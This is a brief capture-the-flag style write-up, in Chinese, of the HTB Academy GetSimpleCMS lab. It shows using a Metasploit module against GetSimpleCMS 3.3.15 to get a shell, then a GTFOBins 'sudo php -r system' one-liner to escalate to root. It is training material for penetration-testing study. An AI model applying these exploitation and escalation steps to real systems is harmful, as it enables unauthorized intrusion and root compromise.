###### tags: `HTB ACADEMY GETTING STARTED` # GetSimpleCMS ## step1. Information Enumeration ![](https://i.imgur.com/nLlWqRk.png) ## step2. Exploit 發現後台,但是經過嘗試之後沒有找到登入帳密,繼續尋找其他突破口 ![](https://i.imgur.com/KzkAH4D.png) 發現當前CMS版本號,先記錄下來待會可以用msfconsole掃看看 ![](https://i.imgur.com/DqVmkus.png) msfconsole -> search getsimple 3.3.15 ![](https://i.imgur.com/gZJt86r.png) use it! -> show options ![](https://i.imgur.com/CbYl7J9.png) 設定完RHOST和LHOST跑看看,他這邊不需要設定RPORT ![](https://i.imgur.com/I8nm9c4.png) 成功進去拿到shell ![](https://i.imgur.com/5g5dQfl.png) ## step3. Privilege Escalation ### tool:https://gtfobins.github.io/gtfobins/php/#sudo sudo -l , 發現一個不需要root密碼也能執行的php檔案 ![](https://i.imgur.com/AhXodbt.png) 嘗試看看能不能透過php來提權 ``` CMD="/bin/sh" sudo php -r "system('$CMD');" ``` ![](https://i.imgur.com/3IQHP33.png) 成功拿下root shell! ![](https://i.imgur.com/ojeyFYy.png)